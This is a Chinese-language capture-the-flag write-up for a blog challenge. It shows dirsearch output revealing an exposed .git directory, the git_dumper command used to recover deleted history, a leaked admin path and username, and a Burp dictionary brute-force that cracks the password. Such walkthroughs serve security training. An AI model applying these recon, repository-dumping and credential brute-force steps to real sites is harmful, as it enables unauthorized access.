Kniffe's blog
1.打开靶机
是一个人的博客主页。
2.收集信息
用dirsearch扫描后台,扫到:
[08:17:50] 301 - 374B - /.git -> http://challenge1.pctf.top:39849/.git/
[08:17:50] 403 - 327B - /.git/
[08:17:50] 200 - 55B - /.git/COMMIT_EDITMSG
[08:17:50] 200 - 197B - /.git/config
[08:17:50] 200 - 21B - /.git/HEAD
[08:17:50] 403 - 327B - /.git/hooks/
[08:17:50] 200 - 73B - /.git/description
[08:17:50] 403 - 327B - /.git/info/
[08:17:50] 200 - 240B - /.git/info/exclude
[08:17:50] 200 - 434B - /.git/logs/HEAD
[08:17:50] 403 - 327B - /.git/logs/
[08:17:50] 301 - 390B - /.git/logs/refs/heads -> http://challenge1.pctf.top:39849/.git/logs/refs/heads/
[08:17:50] 301 - 384B - /.git/logs/refs -> http://challenge1.pctf.top:39849/.git/logs/refs/
[08:17:50] 403 - 327B - /.git/objects/
[08:17:50] 200 - 40KB - /.git/index
[08:17:50] 403 - 327B - /.git/refs/
[08:17:50] 301 - 385B - /.git/refs/heads -> http://challenge1.pctf.top:39849/.git/refs/heads/
[08:17:50] 301 - 384B - /.git/refs/tags -> http://challenge1.pctf.top:39849/.git/refs/tags/
[08:17:56] 200 - 283KB - /404.html
[08:17:57] 301 - 375B - /about -> http://challenge1.pctf.top:39849/about/
[08:18:10] 301 - 376B - /albums -> http://challenge1.pctf.top:39849/albums/
[08:18:25] 200 - 76B - /flag.txt
[08:18:29] 200 - 315KB - /index.html
[08:18:37] 400 - 343B - /Office/graph.php#xxe
[08:18:45] 200 - 121B - /robots.txt
[08:18:46] 200 - 13KB - /server-status/
[08:18:47] 200 - 13KB - /server-status
试最显眼的两个路径:
/robots.txt /flag.txt
前者回显一个新路径:
Disallow: /flaaaaaag.txt
打开后是:
flag{n0t_th3_r3@l_flaaaaag_try_4N0th3R_VV@y}
明显是假flag,并且给了提示,换条路。
后者回显:
flag{So_easy_Really?}
You seriously think this is the flag? I don't buy it.
很明显,也是诱饵。
3.".git"路径里有很多.git 把它们dump出来
py -3 -m git_dumper -j 4 http://challenge1.pctf.top:39849/.git/ blog_src
在文件夹blog_src中。
之前在使用dirsearch,不小心把文件夹弄到dirsearch-master里了,干脆直接在这里做。
在.git/logs/HEAD中看到:
0000000000000000000000000000000000000000 a915f6530e64ef19b33dff82e3bee60857bc6b4c Blog Maintainer <...> 1791970680 +0800 commit (initial): Initial blog deployment with legacy admin entry and dictionaries
a915f6530e64ef19b33dff82e3bee60857bc6b4c a238387ee8ca1b7329187058b8151f6507242559 Blog Maintainer <...> 1791970826 +0800 commit: Remove retired admin entry and deployment dictionaries
了解其格式为:
<旧hash> <新hash> <作者> <邮箱> <时间戳> <时区> <TAB> <提交信息>
使用:
& "C:\Program Files\Git\cmd\git.exe" -C "D:\dirsearch-master\blog_src" checkout -f a915f6530e64ef19b33dff82e3bee60857bc6b4c
进行checkout,还原文件。
再用:
& "C:\Program Files\Git\cmd\git.exe" -C "D:\dirsearch-master\blog_src" diff --stat a915f653 a238387
查看删除的文件,回显:
admin/login.php | 18 ------------------
dictionary/password.txt | 32 --------------------------------
dictionary/username.txt | 19 -------------------
3 files changed, 69 deletions(-)
去查看这三个文件。
4.查看文件
admin/login.php中给出:
<?php
// Legacy admin entry, retained during the blog migration.
// Administrator username: mako
// The management panel has moved to /backstage_a83f/login.php.
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>管理入口迁移</title>
</head>
<body>
<h1>管理入口已迁移</h1>
<p>旧入口即将下线,请使用新的管理地址。</p>
<a href="/backstage_a83f/login.php">前往管理后台</a>
</body>
</html>
得到关键信息:
路径:/backstage_a83f/login.php.
账号:mako
再查看dictionary/password.txt 得到一个密码字典。
5.登录
访问:
/backstage_a83f/login.php
账号填mako,用BP字典爆破出密码hitachi123456 得到flag。